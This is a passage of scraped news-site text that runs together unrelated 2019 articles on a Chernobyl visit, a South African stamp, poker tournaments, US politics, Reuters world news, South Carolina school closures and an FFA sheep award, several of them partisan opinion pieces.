thin and stooped but offers strangers a cheerful grin and food. "I can cook borscht for you," he said. "I will boil some potatoes. My potatoes are as clean as potatoes in Kiev." Instead, we gave Ivanovich two sacks of groceries wed bought and said our goodbyes. Then our bus began its journey back to the exclusion zone exit checkpoints, where we were tested for radioactive dust on metal devices that looked like subway turnstiles. We all passed. Along the route, our driver stopped and pointed to a pale orange lynx crouched and staring at us in the snow a few yards from the road. We are the strangers here, our guide said. This is like a planet without people. South Africa: Stamp to mark 25 years of democracy The South African Post Office (Sapo) has released a special stamp to mark 25 years of democracy. The stamp effectively puts a seal on the key democratic rights that the Post Office has delivered to South Africans over the past 25 years, Sapo CEO Mark Barnes said on Friday. Designed by the post offices graphic designer, Rachel Ackermann, the artwork on the stamp uses a combination of watercolours and digital artwork, and features a man holding the South African flag, looking out over the ocean to a symbolic future for all. The stamp costs R31.80 the rate for a registered letter and is available at all major post offices or from SA.Stamps@postoffice.co.za. Relevant to the upcoming elections is the verification of registered voters addresses the Post Office did together with the Independent Electoral Commission. Without this work millions of South Africans, particularly those in informal or rural settlements, would have been unable to exercise their right to vote, Sapo said. Since 1994, the Post Office has given formal addresses to seven million households in deep rural and informal settlements. Before that they had no formal addresses at all. This enables them to open a bank account and have a working cell phone. Financial Intelligence Centre Act (FICA) requirements mean it is not possible to open a bank account without an address. The same requirement applies to SIM card requirements of the Regulation of Interception of Communications Act (RICA). Because the address includes GPS markers, citizens who use these new addresses can be found by an emergency service no matter how informal their settlement, Sapo said. Through the new South Africa Social Security Agency (Sassa) card issued by Postbank, the Post Office delivers the right to dignity and social security to more than 11 million South Africans. In April 2019, the SAPO system disbursed close to R10 billion worth in Sassa grants. The Post Office ensures the right of access to information for all through the digital terrestrial television (DTT) project, where the Post Office registers needy households for a digital decoder. This allows them to continue watching television after the switch to digital broadcasts. In the immediate future, the Post Office intends to launch an online platform that will help SMMEs to become active in e-commerce. Postbank intends to play a central role in funding business expansion, particularly for small businesses and traders, in its determination to help bridge the economic divide in South Africa, Sapo said. SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. 2019 WSOP Europe Festival Schedule Features 11 Gold Bracelet Events April 25, 2019 Matthew Pitt Eleven bracelet-awarding events have been scheduled for the 2019 World Series of Poker Europe (WSOPE) festival which will run from Oct. 13 to Nov. 4 at the Kings Resort in Rozvadov, Czech Republic. During this time, 16 million worth of guaranteed prize pools are promised by King's and the WSOP. The full schedule of bracelet events along with re-entry information can be found below. Planned 2019 WSOP Europe Bracelet Event Schedule Starting Dates Event Buy-in Guarantee Notes Oct. 13-14 No Limit Holdem Opener 350 220,000 Two starting flights, two re-entry per flight Oct. 15-16 8-Handed Pot-Limit Omaha 550 100,000 Two starting flights, unlimited re-entry Oct. 16-18 No Limit Holdem Mini Main Event 1,350 550,000 Two starting flights, single re-entry Oct. 17 Turbo Bounty Hunter 1,100 200,000 300 bounties, unlimited re-entry Oct. 18-19 Short Deck High Roller 25,500 2,500,000 Newly added event Oct. 19 Pot-Limit Omaha / No Limit Holdem Mix 1,650 200,000 Unlimited re-entry Oct. 20 No Limit Holdem Platinum High Roller 25,500 1,000,000 Unlimited re-entry Oct. 21 Pot-Limit Omaha 8-Handed 2,200 200,000 Unlimited re-entry Oct. 23 Diamond High Roller 100,000 5,000,000 Unlimited re-entry Oct. 25-26 WSOP Europe Main Event 10,350 5,000,000 Two starting flights, Bust A can enter B Oct. 28-Nov. 2 No-Limit Holdem Colossus 550 1,000,000 Nine starting flights, single re-entry per flight 2019 WSOP Europe Bracelet Event Details These events start at only 350 for the No Limit Holdem Opener that kicks off the 2019 WSOPE and climb to 100,000, the buy-in reserved for the Diamond High Roller that is sure to attract some of the best poker tournament talent from around the world. WSOP Director Gregory Chochon is delighted the WSOPE is returning to Kings Resort for what will be the 11th edition of the European WSOP. We are eager to return to Kings Resort in October for the 11th edition of WSOP Europe. Kings Resort has become the center of the poker world in Europe and they are once again bolstering this series with 14 million plus in guarantees to ensure players find plenty of value and opportunity. While all 10 bracelet events are sure to attract crowds of budding poker players and professionals alike, it is the 10,350 buy-in WSOP Europe Main Event that is the tournament everyone wants to win. Last year saw 534 entries create a guarantee-busting 5,073,000 prize pool that was shared among the top 81 finishers. The likes of Mustapha Kanit, Rainer Kempe, Sergio Aido, Dario Sammartino, Jack Salter, Niall Farrell and Igor Kurganov navigated their way into the money, but they were all outlasted by the United Kingdoms Jack Sinclair who got his hands on 1,122,239 after defeating Hungarys Laszlo Bujtas heads up. 2 Million Guaranteed 2019 WSOP Circuit Event at Kings Resort Precedes WSOPE While the 2019 WSOPE runs from Oct. 13 to Nov. 4, you may want to head to Kings Resort quite a bit early because the venue is hosting the 2019 WSOP Circuit from Sept. 26 to Oct. 14 Some 14 gold rings are waiting to be won as is 2 million in guaranteed prize money. The schedule is still being finalized, so stay tuned to PokerNews for more information about the WSOP-C Kings festival in the coming months. The 2019 PokerStars and Monte-CarloCasino EPT festival kicked off today and many notables made their first appearance. An abbreviated Day 1 has drawn to a close in the 10,300 No-Limit Hold'em High Roller. Only eight levels of 40 minutes were on the schedule and Erik Seidel closed it out on the top of the chip counts with 186,000 chips. Seidel got things started on the second hand of the day when he eliminated Alex Foxen for the first time. Seidel flopped top set while Foxen had a straight and flush draw. All of the chips got in the middle on the turn and Seidel held on to quickly double up his stack. Foxen headed to the re-entry desk but his second bullet was no better than the first and he was eliminated from the tournament. It was cruise control from there for Seidel who continued to stack chips throughout the rest of the day without any major swings. The American poker-pro has been around the high-roller scene for quite some time and has amassed nearly $34.8 million in live earnings. Seidel's last major victory came in this same building four years ago. It was the 2015 EPT Grand Final 100,000 Super High Roller where Seidel claimed the title for over 2,000,000. Isaac Haxton is another American who made the trek to Monaco and he too had a strong opening day. Carrying the chip lead throughout most of the day, Haxton bagged up 121,300 chips to sit among the leaders. Some other big stacks at the top of the leaderboard include Matthias Eibinger (159,500), Ole Schemion (141,600), Ben Heath (124,900), and Hiroyuki Noda (123,000). Ike Haxton The action didn't get started until 6 p.m. local time at the Monte Carlo Bay Resort and Casino and wrapped up just over six hours later. A single re-entry option was available for anyone that was eliminated and there were a few that took advantage. A total of 57 entries were gathered today with only 40 players bagging chips to move on to Day 2. Late registration will remain open until the cards go back in the air at approximately 12:30 p.m. While most players managed to scrounge their way to Day 2, whether it be on one or two bullets, there were a couple forced to the sidelines. James Romero, Ali Reza Fatehi, and Denys Shafikov were among those to not fire a second bullet as of yet. Kristen Bicknell will have an uphill road ahead of her after losing a big coin flip in one of the last hands of the night. Bicknell will return to just 1,200 chips when Day 2 begins, enough for one big blind. The prizepool and payouts will be calculated tomorrow once the registration period is officially closed. The seat draw for Day 2 will also be posted just prior to the action getting underway. Continue to follow along with the PokerNews live reporting team for all of the latest live updates throughout the entire festival. 3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard A Republican-drawn gerrymandered map of Michigan has been struck down as a violation of federal law because it was designed to hurt Democrats. The US District Court in Eastern Michigans Southern District found: The court also found that the gerrymandered map impacted 34 state House seats and 10 State seats. The court ordered that no more elections be held under the current map and that the districts must be redrawn: This is a huge win for Democrats in the state who have spent the last four election cycles unable to take control of the state legislature, no matter how well they did at the polls. Under the new map, which the court must approve, Michigan may finally have a state legislature that reflects the will of the voters. The Michigan ruling is similar to federal district gerrymander ruling in Pennsylvania that leveled the playing field for US House Democrats in 2018. Gerrymandering is the Republican Partys last-ditch effort to seal themselves into power. Little by little with each court challenge, the gerrymandered maps are being tossed out, democracy is being restored, and the will of the people is returning to the ballot box. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook 961 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard A new poll shows that voters arent buying Trumps portrayal of immigrants as criminals and are rejecting Trump notion that immigrants commit more crimes than citizens. According to the Monmouth University poll: One rationale for many of the proposals, including the border wall, is to prevent an influx of violent criminals. However, most Americans do not believe that illegal immigrants are more likely than other U.S. residents to commit violent crimes. Just 21% say they are more likely to commit crimes like rape or murder, while 50% say they are about as likely as other Americans to do this, and 24% say they are actually less likely to commit these types of crimes. These results are fairly consistent with prior polls since 2015. In terms of economic impacts of illegal immigration, few people (24%) feel that illegal immigrants take away jobs from American citizens. Most (60%) say illegal immigrants fill jobs that Americans do not want. There are no significant differences in these results by income level. This opinion has not shifted significantly since 2015. Trump smears of immigrants have flopped The reason why Trump hardline immigration policies have failed to gain any traction with the public outside of his base is that most people dont believe the assumptions behind Trumps policies. They dont believe that immigrants come to the US to steal American jobs, and they dont buy by a nearly three to one margin the Trump belief that immigrants are more likely to commit crimes. What happens when a law and order president is fighting a threat that most of the country doesnt believe 141.8k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Fox News is bleeding advertisers, and Sean Hannity is threatening to leave because he believes that the Murdochs are out to get Trump. Fox News Is A Raging Dumpster Fire Of A TV Network Vanity Fair reported: While Foxs prime-time shows generate the lions share of the networks ratings and ad revenues, there have been increasing issues with lost advertising. Many blue-chip companies dont want to buy time on those shows because of the divisive pro-Trump content. Executives are very worried Fox & Friends will be next. If advertisers start bailing on them, theyre screwed, an insider said. . According to sources, Hannity is still angry over the Murdochs firing of Fox News C.E.O. Roger Ailes and co-president Bill Shine, Hannitys close friend and former producer. Hannity believes the Murdochs are out to get Trump. Hannity told Trump last year that the Murdochs hate Trump, and Hannity is the only one holding Fox together, a source who heard the conversation told me. Hannity has told friends that he intends to leave Fox when his contract expires in early 2021, two people whove spoken with him said. Could Sean Hannity Be A Future Host On Trump TV? The timing of Sean Hannitys potential departure from Fox News matches up with Trumps possible exit from the White House if he loses in 2020. Trump TV was an idea that was kicked around by the Trumps when they expected to lose the 2016 election, so it is almost too perfect that Trump TV could put into action if Trump gets booted out of the White House next year. Trumps own TV network was dreamed of as a challenger to Fox News. There could be no better way to challenge Fox for their own viewers than to poach their highest rated host. The Fox News dominance of conservative media is close to splintering. Fox cant afford to lose many more advertisers, and if their pro-Trump hosts bolt, Fox News as we know it could be dead and gone. Trump death touch is killing everything on the right, potentially including Fox News. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook 2.2k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Donald Trump has reportedly been panicking for months over Joe Bidens chances against him in the 2020 election, suggesting that the incumbent president fears the former VP more than any of the other Democratic candidates. According to a new report from CNN on Thursday, despite the fact that there now 20 declared Democrats in the primary race, Biden has been on Trumps mind more than anyone else. More from the report: Hes the Democratic candidate President Donald Trump has long worried would emerge as his general election rival. Now, with the entry of former Vice President Joe Biden into a crowded primary field, a race that once seemed to Trump like abstract chatter has sharpened into a concrete proving ground that will challenge his hold on the nations political spotlight. In political meetings at the White House, Trump often asks about Bidens strength, particularly as his candidacy has grown more certain in recent weeks. Bidens native Pennsylvania Trumps favorite state that he switched from blue to red in 2016 is at the root of the Presidents concern. Bidens first rally will be in Pittsburgh on Monday Bidens entry was long expected, and Trump has been polling his advisers for months on the former vice presidents chances. People familiar with the conversations say Biden has factored into Trumps 2020 thinking more than any other candidate, though the President has made private assessments about several of the Democrats as each of them enters the race or enjoys a moment of national attention. Trump is running scared to Fox News but it wont be enough Trump has responded to his growing concerns over the Democratic field by running to his friends at Fox News. As CNN noted, Trump is planning his own direct appeals to the conservative base of voters unlikely to be drawn away by Democrats. Hes phoning into Sean Hannitys Fox News program on Thursday, will speak to the National Rifle Association at their annual conference in Indiana on Friday, and will appear at an evening campaign rally in Wisconsin on Saturday. But this appeal-to-the-base strategy Trump is employing ahead of 2020 is misguided. Fox News viewers, NRA supporters and MAGA rallygoers are already in his camp. Its going to take more than that for him to fend off the Democratic nominee, particularly if Biden is his ultimate opponent. There is a long primary process ahead of Democratic voters before they settle on a nominee. But Trumps behavior in the early going suggests that he sees former vice president Joe Biden as his greatest threat. Follow Sean Colarossi on Facebook and Twitter 194 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard WASHINGTON (Reuters) U.S. President Donald Trump on Friday said the United States did not pay any money to North Korea as it sought the release of Otto Warmbier, a day after a report said Trump had approved a $2 million bill from Pyongyang for the American students care. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else, Trump wrote in a tweet. The Washington Post reported on Thursday that Trump had approved payment of a $2 million bill from Pyongyang to cover its care of the comatose college student, who was held in a North Korean prison for 17 months until June 2017. The Treasury Department received the bill from North Korea and it remained unpaid through 2017, the Post reported. It was not clear whether the administration paid the invoice later. Trumps tweet did not address whether any agreement had been made, and representatives for the White House and the State Department did not immediately respond to requests for comment. Warmbier, a University of Virginia student from Ohio visiting North Korea as a tourist, was imprisoned in January 2016. He was sentenced to 15 years of hard labor for allegedly trying to steal an item with a propaganda slogan from his hotel, North Korean state media said. Warmbier died six days after his release from North Korea. An Ohio coroner said Warmbier died from a lack of oxygen and blood to his brain. North Korea, which has dismissed claims that it tortured the student, blamed food poisoning and a sleeping pill. Last December, a U.S. court ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. In his tweet on Friday morning, Trump defended his handling of hostage negotiations and slammed efforts by his Democratic predecessor Barack Obama. He noted that the Obama administration had swapped five Taliban prisoners to secure the release of Bowe Bergdahl, a U.S. Army sergeant who has since been dishonorably discharged. Trump also accused Obama officials of paying ransom money in exchange for the return of four detained Americans in 2016, a charge the Obama administration has denied. The Obama administration had said the payment of $400 million to Iran settled a longstanding Iranian claim at the Hague that coincided with four detained Americans return but was not a ransom. Obama had also defended the deal that led to Bergdahls release and later changed the way the U.S. government handles cases in which Americans are detained by militant groups following a six-month review of the issue. A spokeswoman for Obamas office had no immediate comment on Trumps tweet. (Reporting by Makini Brice and Susan Heavey; Editing by Chizu Nomiyama) 2.1k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Even as a majority of sane people have come to dislike Donald Trump, they still fail to understand his mechanism. They continue to be shocked and amazed by his cruelty and ignorance, while at the same time refusing to call it what it actually is and thereby enabling it to multiply like a virulent bacteria taking over the United States. You see, Donald Trumps cruelty is the point. It is not an accident, or him playing strong man. He enjoys inflicting pain on others. So every time people clutch their pearls over his latest transgression of human norms, hes deriving pleasure from it. And the problem with this is the impeachment talk. While we risk undermining the very rule of law by not impeaching Donald Trump, with Republicans enabling Trump, an even greater assault on humanity and democracy await if we do and Republicans refuse to convict. Because of the kind of person Donald Trump is and this is not a person most of you reading this can relate to, because most of you have human emotions other than those primarily centered around yourselves if the House impeaches Donald Trump but the Republicans in the Senate refuse to try him or let him off, he will make caging babies look like childs play. He will not suddenly become someone who follows the law just because opponents held him to account. That is not the sort of person Donald Trump is. Think of the man on whom police put a criminal restraining order after he tries to kill his wife. What is his most likely next step? If you guessed contrition and following the law, you are sadly incorrect. Donald Trump has been accused of sexual assault and rape and abuse. He is relentlessly accused of using workers and not paying them their fair wages. He scammed vulnerable people with his fake university. As president, he sent troops to the border in a propaganda political midterm stunt, is siding with Russia and China against rape as a weapon of war resources with the UN, is using the levers of government against opponents and citizens on a whim, is punishing journalists like a dictator would, claimed he had all of the armed support, including police and military as his support On and on it goes. The story it tells is Donald Trump is a predator, a person who believes the world is here for him to use for his own betterment. Hes not the kind of person people want to be around; hes crude and ignorant. Add in the fact that his fragile ego cant handle criticism and you have the makings of a historically cruel despot. This is why Trump isnt letting Barr charge the terrorist who was plotting to assassinate Pelosi and other Democratic presidential candidates. Its because hes petty but also because hes sending a message: Mess with him, and one of his crazed cult followers will try to kill you. Oh, and as the chief law enforcement officer, he wont stop them or punish them. Why wont AG Barr charge a terrorist caught plotting to kill Trump critics? The judge has "grave concerns" about Hasson, who planned to kill Nancy Pelosi, Democratic presidential candidates, and other Trump critics. But Barr refuses to bring charges. https://t.co/kcvk010zko Joe Scarborough (@JoeNBC) April 25, 2019 This is called giving a green light to murder. Just another one of Trumps regular stochastic terrorism signals to his cult, just another version of his offer to pay the legal fees for any supporter who beat up a protester. But still, even after three years of this daily behavior, the media acts somewhat stumped by Trump. Perhaps you have to have known someone like him to see it. Perhaps you need to have studied psychology to move the pieces of the puzzle into their obvious spots. Or perhaps for all of their complaints, the media knows they are safe from his crazed followers, and after all, he is making them richer than they have ever been before due to a president. Or maybe its the whiteness of his skin and the R after his name. Whatever the reason, important people are still not naming what Donald Trump is. They are still feigning outrage over his daily assault on our norms, ethics, and values. Donald Trump is a monster. He doesnt care that he is hurting migrant families seeking asylum that is the POINT. He wants to hurt them. It gives him and his followers sick pleasure, like the kind of person who kicks their dog after a bad day. Thats who we have in the White House: A man who kicks his dog, wife, kids in the softest, most vulnerable spot in their body when someone at work hurt made him feel small. And when the dog whimpers, he smiles. Because its a relief for Trump to inflict pain on others. He wont stop. He will never have compassion. He will never have empathy. He will never change. This wont stop until Donald Trump is finally held accountable for his own behavior for once in his life. It wont stop until he is dragged from the White House like the inhumane, unworthy, and illegitimate president he is. If Donald Trump is even further enabled by being charged with impeachment and then exonerated by his Republican Russian enablers, he will make this world a living Hell. He will feel so emboldened it will make the last three years look like a walk in the park under Jimmy Carter. The best solution to the threat that is Donald Trump is for the House to continue investigations as it is, which are actually functioning like impeachment investigations they are just not being called that. They serve the purpose to unveil the secrets Trump has kept from the public about his finances, his obstruction of justice, his contacts with the Russians knowing they wanted to help him in 2016, and more. Donald Trumps brain doesnt work like most peoples brain. He has no sense of shame. There is nothing stopping him except fear of impeachment. Take that away, and he will be so out of control its unimaginable. The daily horror show of Donald Trump wont stop until hes kicked out of the Oval Office by someone the public trusts more than him, by someone with authority and dignity. Someone the military and police will respect. 302 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard By Joyce Lee SEOUL (Reuters) North Korean leader Kim Jong Un told Russian President Vladimir Putin peace and security on the Korean peninsula depended on the United States, warning that a state of hostility could easily return, North Korean media said on Friday. Kims remarks, at talks with Putin in Vladivostok on Thursday, will likely add to pressure on the United States to be more flexible on a North Korean demand for an easing of international sanctions. A second summit between Kim and U.S. President Donald Trump in Vietnam in February collapsed with no progress on a U.S. demand that the North give up its nuclear program and a North Korean demand for an easing of sanctions. The North Korean leader has said he would wait until the end of the year for the United States to be more flexible. The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks, North Koreas KCNA reported Kim as saying. The Democratic Peoples Republic of Korea (DPRK) is North Koreas official name. The DPRK will gird itself for every possible situation. KCNA quoted Kim as saying. The U.S. State Department did not immediately respond to a request for a comment. William Hagerty, the U.S. ambassador to Japan, told a Washington think-tank that Kims contact with Russia and China was part of an effort to seek relief from international sanctions. The fact you see Kim Jong Un meeting with Vladimir Putin underscores the fact that the sanctions are working and the sanctions are putting extreme economic pressure on the North Korean regime, Hagerty said. What we see is an outreach to try to find a way to deal with it. There is a much simpler way to deal with it and that is to denuclearize, he said. He said it was important the international community enforced U.N. sanctions against North Korea that were imposed because of its nuclear and missile programs. SECURITY GUARANTEES On Friday, Kim joined officials to lay a wreath at a navy memorial at Vladivostok bay. The first face-to-face talks between Putin and Kim, held on an island off the Russian Pacific city, did not appear to yield any major breakthrough. The two discussed ways to promote strategic communication and tactical collaboration in the course of ensuring peace and security on the Korean peninsula and beyond, KCNA said. Putin said he thought a deal on North Koreas nuclear program was possible and the way to achieve it was to move forward step by step to build trust. But any U.S. security guarantees to North Korea might need to be supported by other nations involved in previous six-way talks on the issue, Putin said. Russia was for years a participant in six-party talks aimed at persuading North Korea to give up its nuclear program. The talks, which included the two Koreas, the United States, China and Japan, have not been held since 2009. They only need guarantees about their security. Thats it. All of us together need to think about this, Putin told reporters after talks with Kim, referring to North Korea. Such guarantees would have to be international, legally binding, and vouch for North Koreas sovereignty, Putin said. Russia and North Korea agreed to increase cooperation in various areas and Kim invited Putin to visit North Korea, and he accepted, KCNA said. No date was announced. North Korea seems to be trying to expand its negotiating position with the U.S., said South Koreas ambassador to the United States, Cho Yoon-je, according to the Yonhap news agency. The U.S. continues to send a message to North Korea through channels at every level that it is open to dialogue The expectation seems to be that the North may respond once the Chairman Kim Jong Uns diplomatic schedule is completed. (Reporting by Joyce Lee; Additional reporting by David Brunnstrom in WASHINGTON, Hyonhee Shin in SEOUL and Maria Vasilyeva in VLADIVOSTOK; Editing by Jack Kim, Robert Birsel) 1k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard By Roberta Rampton INDIANAPOLIS (Reuters) President Donald Trump on Friday announced at the National Rifle Associations annual meeting that the United States will drop out of an international arms treaty signed in 2013 by then-President Barack Obama but opposed by the NRA and other conservative groups. Trump told members of the gun lobby that he intends to revoke the status of the United States as a signatory of the Arms Trade Treaty, which was never ratified by the U.S. Senate. Were taking our signature back, Trump said to thousands of cheering attendees, many wearing red hats emblazoned with the Republican presidents Make America Great Again slogan. The NRA has long opposed the treaty which regulates the $70 billion business in conventional arms and seeks to keep weapons out of the hands of human rights abusers. The lobbying group argues it would undermine domestic gun rights, a view the Obama administration rejected. Trump added that the United Nations will soon receive formal notice of the withdrawal. The 193-nation U.N. General Assembly overwhelmingly approved the treaty in April 2013 and the United States, the worlds No. 1 arms exporter, voted in favor of it despite fierce opposition from the NRA. Trumps action drew an immediate rebuke from some international human rights groups. The United States will now lock arms with Iran, North Korea and Syria as non-signatories to this historic treaty whose sole purpose is to protect innocent people from deadly weapons, said Oxfam America President Abby Maxman. Adotei Akwei, of Amnesty International USA, said in a statement: With this announcement the Trump administration will re-open the floodgates for arms sales with weakened human rights criteria. So far 101 countries have formally joined onto the treaty. Another 29, including the United States, have signed it, but not yet formally joined. Trump was joined on his trip to Indianapolis by White House national security adviser John Bolton, an advocate of withdrawing the United States from international treaties out of concern they might undermine U.S. authority. With Fridays announcement, Trump continued his drive to roll back Obama-era initiatives. Nearly two years ago, Trump announced that the United States would withdraw from the Paris Climate Agreement, which aims to reduce global carbon emissions that scientists link to harmful climate change. Republicans argue the U.S. economy would suffer if it met the deals carbon-reduction goals. In May, 2018, Trump pulled the United States out of a 2015 international deal that eased sanctions on Iran in exchange for strict limits being placed on Irans nuclear activities. The United States has since reimposed some sanctions that had been suspended under the deal. (Reporting By Roberta Rampton in Indianapolis, Steve Holland in Washington and Michelle Nichols in New York; Writing by Richard Cowan; Editing by Mary Milliken, Bill Trott and David Gregorio) 18.4k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Trump called himself a student of history on Friday morning where there are mountains of his own quotes that reveal his historical ignorance. Trump calls himself a student of history Trump said, I never told Don McGahn to fire Mueller. If I wanted to fire Mueller, I would have done it myself. Its very simple. I had the right to. And, frankly, whether I did or he did, we had the absolute right to fire Mueller. In the meantime, I didnt do it. Im a student of history. I see what you get when you fire, and its not good. But there would have been nothing wrong with firing him. Legally I had every right to fire him, but I never told Don McGahn to fire Mueller. By the way, and Mueller finished out his report, no collusion, and no obstruction. Video: Trump is repeating all of Richard Nixons mistakes and adding a lot of new ones, so the president is obviously a student of history in the sense that hes emulating a previous corrupt president not by learning from his mistakes. Trump is such a student of history that he called the White House a dump. Trunp has consistently gotten history wrong Trump accused Canada of burning down the White House, thought Frederick Douglass was still alive, that the Korean Peninsula used to be a part of China, and that most people didnt know that Lincoln was a Republican. Trump also falsely claimed that his electoral college victory was the biggest in history and that his economy is the best in history. Both of these statements are entirely wrong. Trump knows nothing about history. Unlike when he ran for president, the American people have more than two years of daily Trump behavior in the White House as a point of reference. Trump is no longer fooling anyone, as his boasts are the laughable lies of a buffoon who doesnt realize that the microscope of the presidency is exposing every single day. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook Carnival Cruise Line currently has no plans to cancel trips from the Port of Charleston to Cuba, despite the Trump administration's announcement that it will restrict travel to the communist country. The voyages are scheduled on Carnival's Sunshine, which will call Charleston home beginning next month. Provided/Andy Newman/Carnival Cruise Line Get the SC business stories that matter. Our newsletter catches you up with all the business stories that are shaping Charleston and South Carolina every Monday and Thursday at noon. Get ahead with us - it's free. Hicks column: Agree with him or not, Lindsey Graham is always worth listening to Thomas Novelly is a political reporter based in Charleston. He also covers the military community and veterans throughout South Carolina. Previously, he wrote for the Courier Journal in Kentucky. He is a fan of Southern rock, bourbon and horse racing. Seven school districts and one charter school have now announced they will close their doors during a statewide teacher protest in Columbia May 1. The following school districts have canceled classes for the day: Chester County School District, Colleton County School District, Dorchester County School District 2, Lexington-Richland School District 5, Richland County School District 1, Richland County School District 2, and Sumter County School District. Palmetto Scholars Academy in North Charleston will also be closed. The closures will affect a combined 123,000 students. Richland 2, the state's fifth-largest district, announced its closure on its website Tuesday afternoon, becoming the largest district in the state to close for the protest. The Columbia-area district serves about 28,000 students. Sumter County Schools also announced closure on Facebook Tuesday afternoon, affecting about 17,000 students. Richland 1 serves 24,000 students in the Columbia area. It updated its website Tuesday morning with a message to parents. We have looked at the number of leave requests submitted across the district and determined that we would not have enough substitute teachers and staff members to cover all of those classrooms," Superintendent Craig Witherspoon said. Another Columbia-area school district, Lexington-Richland 5, notified parents Monday afternoon. The Columbia-area district of 17,000 students is the 13th-largest in the state according to last year's student headcounts. "Despite several contingency plans, including but not limited to utilizing substitutes and staff, the staffing needed to ensure normal school operations on May 1st could not be provided," the district said announced on its website Monday. Colleton County Schools, which serve 5,600 students, also made their announcement Monday, citing "a profound shortage of teachers that our current pool of trained substitutes cannot fill." Dorchester 2, which serves 26,000 students, notified its 1,600 teachers Friday afternoon that all of its schools will be closed as teachers from across the state march on the Statehouse seeking higher pay, smaller classroom sizes and full funding of the state's promises to school districts. In an email to staff, the district said some schools already had more than half of their teachers call out of work for the rally. "This critical shortage of staff with inadequate numbers of trained substitutes available to cover classes creates a major concern for the safety of students in a secure learning environment," the district said in a prepared statement. "This was a difficult decision; however, the safety of students and staff is always the basis of all decisions made in Dorchester School District Two," the alert said. The Dorchester 2 school board will hold a special meeting at 6 p.m. Tuesday at the Adult Education Learning Center to schedule a makeup school day. Palmetto Scholars Academy, a public charter school in North Charleston with 500 students, also announced Friday it would be closed Wednesday. Principal Tim Gott said the school made the decision after 18 of its 29 teachers requested the day off to protest in Columbia. He said he is considering traveling to Columbia with them. "The real issue for us is, as a school, weve been trying to help kids have a voice and impact on the world. In this case, were putting feet to our words," Gott said. The first school district to announce a closure was the Chester County School District, which announced it would close all of its schools on Wednesday, April 24. Chester school board Chairwoman Anne Collins explained the decision was made for the safety of children because so many teachers had taken the day off already. She noted she supports the teachers' efforts to make their voices heard after a year of inaction by the state Legislature. Im really glad to see that teachers are taking a stand, that they are now actively saying what is best for their students. I applaud them for that, Collins said. Republican Gov. Henry McMaster, meanwhile, has discouraged teachers from taking personal leave days to protest, saying through a spokesman Thursday that "teachers leaving their classrooms sends the wrong message to students." Senate Majority Leader Shane Massey, R-Edgefield, agreed with McMaster on Twitter, tweeting, "He's right." State lawmakers have not provided enough funding to meet the Base Student Cost, based on a 1977 funding formula, since 2009. In the past school year alone, the shortfall came out to $497 million. Neither the Senate nor the House version of next year's budget fully funds it. Partly as a result of funding deficiencies and a 2006 law that keeps homeowners from paying property tax toward school operations, the state has not enforced classroom size limits since 2010 and no longer follows its own law that ties teacher salaries to the Southeast regional average. Anti-drilling concern is turning from the threat of spills from offshore rigs to the industrialization of the South Carolina coast to export natural gas and oil. File/Provided Jeff McIntyer (from left) leaves a Publix grocery store with his daughters Aylene and Laurie on Friday, April 12, 2019. Publix, along with other Mount Pleasant stores and restaurants, have already switched to paper bags from the plastic ones. Brad Nettles/Staff FILE - In this Nov. 30, 2018 file photo, President Donald Trump, center, sits between Canada's Prime Minister Justin Trudeau, right, and Mexico's President Enrique Pena Nieto as they sign a new United States-Mexico-Canada Agreement that is replacing the NAFTA trade deal, during a ceremony at a hotel before the start of the G20 summit in Buenos Aires, Argentina. (AP Photo/Martin Mejia, File) Editorials represent the institutional view of the newspaper. They are written and edited by the editorial staff, which operates separately from the news department. Editorial writers are not involved in newsroom operations. The Post and Courier provides a forum for our readers to share their opinions, and to hold up a mirror to our community. Publication does not imply endorsement by the newspaper; the editorial staff attempts to select a representative sample of letters because we believe its important to let our readers see the range of opinions their neighbors submit for publication. Most of Curtis Youngs life has revolved around raising sheep and teaching others how to raise sheep. He owes at least a part of that dedication to his parents. Youngs, now a professor of animal science at Iowa State University, has funded an FFA award in memory of his mother and father. The first winner will be annoucned at this years Minnesota State FFA Convention. The James E. and Nancy L. Youngs Proficiency Fund will be given to the winner of the Sheep Production Proficiency Award. The award recognizes FFA members who own or work for a business that practices the best management practices available to produce sheep, products and wool. "This gift will ensure generations of students to come will have the support to be involved and grow through their involvement in FFA," said Val Aarsvold, executive director for the Minnesota FFA Foundation. ADVERTISEMENT Youngs said he funded the award foremost to honor his parents, who provided him with so many educational opportunities when he was young. Many of those opportunities had to do with FFA. James Youngs, Curtis father, was the general manager for Badger Equipment Company in Winona. His mother, Nancy, taught kindergarten in Lewiston. "As a kid growing up, you dont always appreciate all the things your parents do for you," said Youngs. "But now that Im in a profession that involves not only teaching subject matter to students, but also helping them develop as future industry professionals, Ive become incredibly thankful for the many things my parents did to help me." Youngs grew up on a farm in Ohio but spent his last two years of high school in Winona after the family relocated. The family bought a farm between Stocktown and Rollingstone about the same time Youngs was graduating high school. Sheep have a special place in his heart and memory. When told by their parents to choose what animal they wanted to raise, Youngs, the youngest of three, said he chose sheep after his older siblings picked beef cattle and pigs. But his love for raising sheep stems further back than that, when his family was neighbor to a 400-head commercial ewe flock. After one of the ewes died giving birth, the farmer gave Youngs and his brothers the two lambs. "Every morning before school Id ride my bike down the gravel road about a half a mile, and bottle-feed the lamb, and do the same thing after school," said Youngs. "We eventually sold those lambs for 30 bucks, so 10 bucks for each of us." ADVERTISEMENT He said he spent most of his earnings at the local variety store, where red licorice was a penny a stick. "I was in heaven because I could get all the licorice I wanted," said Youngs. Youngs went on to 